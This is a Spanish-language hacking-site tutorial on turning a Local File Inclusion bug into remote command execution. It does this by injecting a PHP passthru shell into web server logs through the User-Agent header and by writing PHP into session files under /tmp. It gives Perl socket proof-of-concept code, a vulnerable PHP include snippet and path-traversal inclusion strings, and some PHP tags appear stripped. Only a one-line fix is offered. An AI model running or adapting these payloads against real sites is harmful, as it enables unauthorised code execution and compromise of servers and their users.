Home Hacking y Seguridad Seguridad Web/CGI Local File Inclusion: Infectando archivos

Ultimos Mensajes del Foro

Manual Aleatorio

Manual practico de netcat / nc sobre windows
Un texto que nos explica entre otras cosas, como transferir ficheros, escanear puertos, hacer un "chat", conectar al irc y algunas otras cosas usando netcat.
Leer más...

Webs Amigas

Local File Inclusion: Infectando archivos Imprimir E-mail
Hacking y Seguridad - Seguridad Web/CGI
Escrito por Anonimo   

Existen ocasiones en que encontramos una web vulnerable a LFI, pero no podemos
explotarlo, usando una shell debido a que la web no tienen ningún sistema de
upload de fotos u otro tipo de archivos... Entonces nos vemos en la necesidad
de recurrir a otros trucos para poder sacarle jugo a ese LFI que habíamos
encontrado.

 

Como no podemos subir archivos desde nuestro ordenador, tendremos que buscar
una forma para poder introducir nuestra shell dentro del servidor. Es aquí
donde entra el juego la "infección", entendiendo infección como la adición de
código malicioso (una shell, un backdoor, algún exploit, etc) dentro de un
archivo legítimo del servidor. Esta hazaña puede parecer muy dificil, pero si
tenemos en cuenta que existen numerosos archivos que son sobreescritos mientras
que navegamos, la cosa se aclara un poco más. Para ejemplificar esto de la
infección de archivos, voy a proceder a explicar cómo explotar un LFI a partir
de los Logs del servidor, y también a partir de un sistema de sesiones (este
último ejemplo lo extraigo del foro vZack).

==========================================================================
INFECTANDO LOGS

Todo el mundo sabe que en los servidores se guardan unos logs que archivan los
errores y movimientos que se realizan dentro del servidor. Usualmente, estos
logs suelen guardar informaciones tales como la IP del visitante, su navegador,
etc...


Esta información la extraen a través de las HTTP Headers que se mandan al
servidor. Un ejemplo de una cabecera corta sería:

GET / HTTP/1.1
Host: level-23.com
User-Agent: Mozilla Firefox
Connection: Keep-Alive

Como observais, User-Agent va a contener la información de nuestro navegador...
y esta misma información (exactamente lo mismo) va a ser escrita dentro de los
logs....

Si tenemos en ese servidor un archivo vulnerable a LFI, ya sabeis, los típicos:


include($_GET['page']);
?>


Podemos poner en la variable de tipo GET page un archivo que se encuentre
dentro del servidor... Usualmente solemos buscar por instinto algún upload de
imágenes/txt o cosas así... Pero si no encontramos alguno... ?Como podemos
subir nuestra shell?.

En vez de subir shell, lo que vamos a hacer es infectar los logs con código
malicioso, es decir, vamos a introducir una shell dentro del servidor
aprovechando que guarda la información de variables tales como User-Agent (esta
técnica también es aplicable a otras variables).


Para inyectar el código, tenemos dos opciones, la primera sería usar algún
sniffer de cabeceras como puedes Tamper Data, o Live HTTP Headers, (ambos add
ons para FireFox). La segunda opción (y con la que yo creo que se aprende más)
es creando un exploit (yo recomiendo PHP o PERL).

El exploit lo debemos de componer de dos partes. La primera parte será la
encargada de mandar una cabecera que infecte los logs, y la segunda será la
encargada de ejecutar los comandos y mostrar el output de éstos. Para empezar
debemos de lanzar unos sockets que manden la cabecera con el siguiente código:





Entonces debería de quedar algo tipo...use IO::Socket::INET;


$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80")
|| die "[-]Connect Failed: could not connect to $host\n";
print $socket "GET / HTTP/1.1\nHost: $host\nUser-Agent: passthru($_SERVER[HTTP_FoS); echo "Final"; ?>\nConnection: Keep-Alive\n\n";

close $socket;


Y despues para ejecutar los comandos, tenemos que mandar en la cabecera una
nueva variable, FoS, que será la contenga los comandos a ejecutar, pero esta
vez tendremos que hacer una petición GET al archivo vulnerable a LFI, haciendo
ya la inclusión del log:


use IO::Socket::INET;
$peticion= "path/archivo.php?="."../../lugar/del/log";
$socket = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => "$host",
PeerPort => "80")
|| die "[-]Connect Failed: could not connect to $host\n";
print $socket "GET $peticion HTTP/1.1\nHost: $host\nFoS: ls -la\nConnection:
Keep-Alive\n\n";
close $socket;


Yo recomiendo hacer un bucle con FOR para incluir todos los lugares donde se
encuentran los logs de forma habitual... (como el lógico tendreis que añadir la
variable $host, y montar realmente el exploit, esto es un simple PoC).

Para hacer el output del comando, recomiendo recoger la del socket y pasarle un
patrón de búsqueda para que busque "Empieza" y a partir de ahí mostrar el
código fuente hasta "Final" (por eso lo escribí en la shell, para que sirviesen
como acotación del output).


===============================================================================
INFECTANDO SESIONES (extraido del foro de vZack)


  Introducion
  Muchas veces tenemos solamente un LFI y no sabemos como explotarlo, en este
  manual os enseñare a como ejecutar LFI teniendo una web vulnerable.

  Requisitos de la web:
  -Que use LFI
  -Que tenga un sistema de usuarios o algún sistema que funciones con
  sesiones.

  Teoría
  Supongo que sabreis que las sesiones php te mandan una cookie (llamada
  PHPSSESID habitualmente) con un identificador en su interior, que a php le
  sirve para encontrar los valores de la cookie que se encuentran en /tmp/
  sess_[id]. Entonces nosotros modificaremos los valores del archivo sess_
  [id] introduciendo código php en su interior.

  La practica
  Ejemplo de código vulnerable simplificado:


    session_start();
  $idioma = $_GET['idioma'];
  $_SESSION['idioma'] = $idioma;

  if($_SESSION['idioma'] == 'en')
  echo 'Hi, welcome to my website';
  else
  echo'Hola, bienvenido a mi sitio web';
  ?>
 
 Que pasaría si visitaríamos index.php?idioma=, $_SESSION
  [idioma] tomaría el valor de , y este código se guardaría
  en /tmp/sess_[id], asi que solo tendríamos que mirarel valor de la cookie
  que nos a lanzado 9d8edfb9f556004520e4b55fa1d98c8b y después incluirla en
  nuestro bug LFI asi: lfi.php?lfi=../../../../../../../../../../tmp/
  sess_9d8edfb9f556004520e4b55fa1d98c8b y ya habriamos ejecutado cogido php
  "infectando" la sesion.

  Solución
  Para que esto no te pase en tus aplicaciones es recomendable pasar la
  sesión por htmlspecialchars, asi no podrian abrir las tags del php (  ?>)

  Este método se me a ocurrido a mi pero bueno seguramente esta descubierto
  hace tiempo.

  Saludos a todos (Hondamena)